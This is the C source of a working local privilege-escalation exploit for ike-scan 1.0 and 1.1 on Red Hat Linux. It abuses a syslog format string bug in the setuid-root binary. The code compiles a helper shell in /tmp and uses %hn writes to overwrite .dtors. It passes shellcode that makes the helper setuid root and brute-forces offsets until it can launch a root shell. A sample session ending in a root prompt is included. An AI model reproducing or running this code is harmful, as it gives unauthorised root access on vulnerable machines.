/*
**
** ike-scan local root exploit
**
** Thank to KF, he found this vulnerability.
** Vuln is syslog function's format string bug that happen in ike-scan 1.0 & 1.1.
**
** This code did exploit in RedHat Linux.
** It's performed well comparatively in my machines.
** Support debugging '-d' mode and automatic brute-force mode.
**
** exploit: --
**
** [x82@xpl017elz bin]$ ls -al ike-scan
** -rwsr-xr-x   1 root     root       100554 Jun  2 06:23 ike-scan
** [x82@xpl017elz bin]$ ./0x82-eat_ike-scan
**
**  ike-scan local root exploit.
** 
**  [+] make /tmp/x82 code.
**  [+] Auto Brute-force mode: gethostbyname: Success
**  [+] Ok, exploited successfully.
**  [+] It's shell !
**
** bash#
**
** --
** bug found by "Kevin Finisterre"(KF), <dotslash@snosoft.com>.
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>

#define DB_SZ (255)
#define REDHAT_DF (50)
#define SML_SZ (16)
/* debugging tool */
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/bin/grep"
#define AWK "/bin/awk"
#define GCC "/usr/bin/gcc"
#define DVNULL "/dev/null"
#define TARGET "./ike-scan"
#define D_SHELL "/tmp/x82"

struct stat s_t;
int db_mode=0;
char shellcode[(DB_SZ)]= /* chown root: ;chmod 6755 ; */
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40"
"\xeb\x1d\x5e\x31\xc0\xb0\xb6\x89\xf3\x31\xc9\x31\xd2\xcd\x80\x31"
"\xc0\xb0\x0f\x66\xb9\xed\x0d\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8" 
"\xde\xff\xff\xff"; /* setuid shell */

void banrl();
void usage(char *f_name);
int make_shell(char *d_name);
u_long __get_dtors(char *f_name);
void make_fmt_code(char *atk_str,char *f_nm,u_long dtors,u_long shadr,int pad,int flag);
int make_shell(char *d_name)
{
	FILE *fp;
	char d_src[(DB_SZ)];
	char st_exec[(DB_SZ)*2];

	memset((char *)d_src,0,sizeof(d_src));
	snprintf(d_src,sizeof(d_src)-1,"%s.c",d_name);
	if((fp=fopen(d_src,"w"))==NULL)
	{
		perror(" [-] fopen() error");
		return(-1);
	}
	fprintf(fp,"main()\n"
		"{\n"
		"setreuid(0,0);"
		"setregid(0,0);"
		"setuid(0);"
		"setgid(0);"
		"system(\"sh -i\");"
		"\n}"
		"\n");
	fclose(fp);

	memset((char *)st_exec,0,sizeof(st_exec));
	snprintf(st_exec,sizeof(st_exec)-1,
		"%s -o %s %s >%s 2>&1",(GCC),(d_name),(d_src),(DVNULL));
	system(st_exec);
	unlink(d_src);

	if(stat(d_name,&s_t)==0)
	{
		fprintf(stdout," [+] make %s code.\n",d_name);
		return(0);
	}
	else
	{
		fprintf(stderr," [-] %s code make failed.\n",d_name);
		return(-1);
	}
}

u_long __get_dtors(char *f_name)
{
	char st_exec[(DB_SZ)*2];
	FILE *fp;
	char fd_addr[(SML_SZ)];

	memset((char *)st_exec,0,sizeof(st_exec));
	snprintf(st_exec,sizeof(st_exec)-1,
		"%s -h %s 2>%s"
		" | %s .dtors"
		" | %s -F\" \""
		" '{print $4}'",
		(OBJDUMP),f_name,(DVNULL),(GREP),(AWK));
	if(db_mode) fprintf(stdout," [*] \"%s\"\n",st_exec);
	if((fp=(FILE *)popen(st_exec,"r"))==NULL)
	{
		perror(" [-] popen() error");
		exit(-1);
	}
	memset((char *)fd_addr,0,sizeof(fd_addr));
	fgets(fd_addr,sizeof(fd_addr)-1,fp);
	pclose(fp);

	return(strtoul(fd_addr,NULL,(SML_SZ)));
}

void make_fmt_code(char *atk_str,char *f_nm,u_long dtors,u_long shadr,int pad,int flag)
{
	int jnk_one,jnk_two;
	u_char hd_l2[(SML_SZ)];
	char pad_t[(SML_SZ)];

	memset((char *)hd_l2,0,sizeof(hd_l2));
	hd_l2[0]=hd_l2[4]=(dtors&0x000000ff)>>0;
	hd_l2[1]=hd_l2[5]=(dtors&0x0000ff00)>>8;
	hd_l2[2]=hd_l2[6]=(dtors&0x00ff0000)>>16;
	hd_l2[3]=hd_l2[7]=(dtors&0xff000000)>>24;
	hd_l2[4]+=(0x2);
	jnk_one=((shadr&0xffff0000)>>16);
	jnk_two=((shadr&0x0000ffff)>>0)-(jnk_one);
	
	memset((char *)pad_t,0,sizeof(pad_t));
	while(pad)
	{
		pad--;
		pad_t[pad]='+';
	}

	snprintf(atk_str,(0x82)-1,
		"%s%s"
		"%%%dx%%%d$hn"
		"%%%dx%%%d$hn",
		(pad_t),(hd_l2),
		(jnk_one-(strlen(pad_t)+strlen(hd_l2)+strlen(f_nm)+11)),
		(flag+1),(jnk_two),(flag));
	if(db_mode) fprintf(stdout," [*] \"%s"
		"\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x"
		"%%%dx%%%d$hn%%%dx%%%d$hn\"\n",(pad_t),(hd_l2[0]),
		(hd_l2[1]),(hd_l2[2]),(hd_l2[3]),(hd_l2[4]),
		(hd_l2[5]),(hd_l2[6]),(hd_l2[7]),
		(jnk_one-(strlen(pad_t)+strlen(hd_l2)+strlen(f_nm)+11)),
		(flag+1),(jnk_two),(flag));
	/*
	** "Starting: " (10byte),
	** + program path,
	** + 1byte,
	** + pad,
	** + format string (8byte).
	*/
}

int main(int argc,char *argv[])
{
	pid_t pid;
	int pad,flag=10;
	int whgl;
	u_long shaddr,dtors;
	char tg_f_nm[(DB_SZ)]=(TARGET);
	char bk_f_nm[(DB_SZ)]=(D_SHELL);
	char atk_bf[0x82];
	char *emt[2];

	(void)banrl();
	while((whgl=getopt(argc,argv,"T:t:B:b:F:f:DdHh"))!=EOF)
	{
		switch(whgl)
		{
			case 'T':
			case 't':
				memset((char *)tg_f_nm,0,sizeof(tg_f_nm));
				strncpy(tg_f_nm,optarg,sizeof(tg_f_nm)-1);
				break;

			case 'B':
			case 'b':
				memset((char *)bk_f_nm,0,sizeof(bk_f_nm));
				strncpy(bk_f_nm,optarg,sizeof(bk_f_nm)-1);
				break;
				
			case 'F':
			case 'f':
				if((flag=atoi(optarg))>(REDHAT_DF))
				{
					fprintf(stderr," [-] $-flag value error.\n\n");
					exit(-1);
				}
				break;
				
			case 'D':
			case 'd':
				db_mode++;
				break;
				
			case 'H':
			case 'h':
				(void)usage(argv[0]);
				break;
				
			case '?':
				(void)usage(argv[0]);
				break;
		}
	}

	if((stat((tg_f_nm),&s_t)!=0))
	{
		fprintf(stderr," [-] target path: %s not found.\n\n",(tg_f_nm));
		exit(-1);
	}
	if((int)make_shell(bk_f_nm)==-1)
	{
		fprintf(stderr," [-] exploit failed.\n\n");
		exit(-1);
	}
	{
		shaddr=((0xbfffffff)-(strlen(shellcode)+strlen(bk_f_nm)));
		dtors=(__get_dtors(tg_f_nm))+0x4;
		strncat(shellcode,bk_f_nm,sizeof(shellcode)-strlen(shellcode)-1);
		if(db_mode)
		{
			fprintf(stdout," [*] .dtors: %p\n",dtors);
			fprintf(stdout," [*] retaddr: %p\n",shaddr);
			fprintf(stdout," [*] code size: %d\n\n",strlen(shellcode));
		}
		emt[0]=(shellcode);
		emt[1]=(NULL);
	}
	if(db_mode) fprintf(stdout," [######################################################################]\n\n");
	else
	{
		fprintf(stdout," [+] Auto Brute-force mode: ");
		fflush(stdout);
	}

	for(;flag<(REDHAT_DF);flag++)
	{
		if(db_mode) fprintf(stdout," [+] flag value: %d\n",flag);
		for(pad=(0);pad<(5);pad++)
		{
			memset((char *)atk_bf,0,sizeof(atk_bf));
			make_fmt_code(atk_bf,tg_f_nm,dtors,shaddr,pad,flag);
			if(db_mode) fprintf(stdout," [+] pad value: %d\n",pad);
			if((pid=fork())==0)
			{
				execle(tg_f_nm,tg_f_nm,atk_bf,NULL,emt);
			}
			wait(&pid);

			if((stat(bk_f_nm,&s_t)==0)&&(s_t.st_mode&S_ISUID))
			{
				if(db_mode)
				{
					fprintf(stdout,"\n [######################################################################]\n\n");
					fprintf(stdout," [+] Success flag: %d, pad: %d\n",flag,pad);
				}
				fprintf(stdout," [+] Ok, exploited successfully.\n");
				fprintf(stdout," [+] It's shell !\n\n");
				execl((bk_f_nm),(bk_f_nm),(NULL));
			}
			else continue;
		}
	}
}

void banrl()
{
	fprintf(stdout,"\n ike-scan local root exploit.\n\n");
}

void usage(char *f_name)
{
	fprintf(stdout," Usage: %s -option arguments\n\n",f_name);
	fprintf(stdout," \t-t [target path] : ike-scan program path.\n");
	fprintf(stdout," \t-b [target path] : setuid shell path.\n");
	fprintf(stdout," \t-f [flag num]    : $-flag number.\n");
	fprintf(stdout," \t-d               : debugging mode.\n");
	fprintf(stdout," \t-h               : help information.\n\n");
	fprintf(stdout," Example: %s -t/bin/ike-scan -b/tmp/x82\n\n",f_name);
	exit(-1);
}


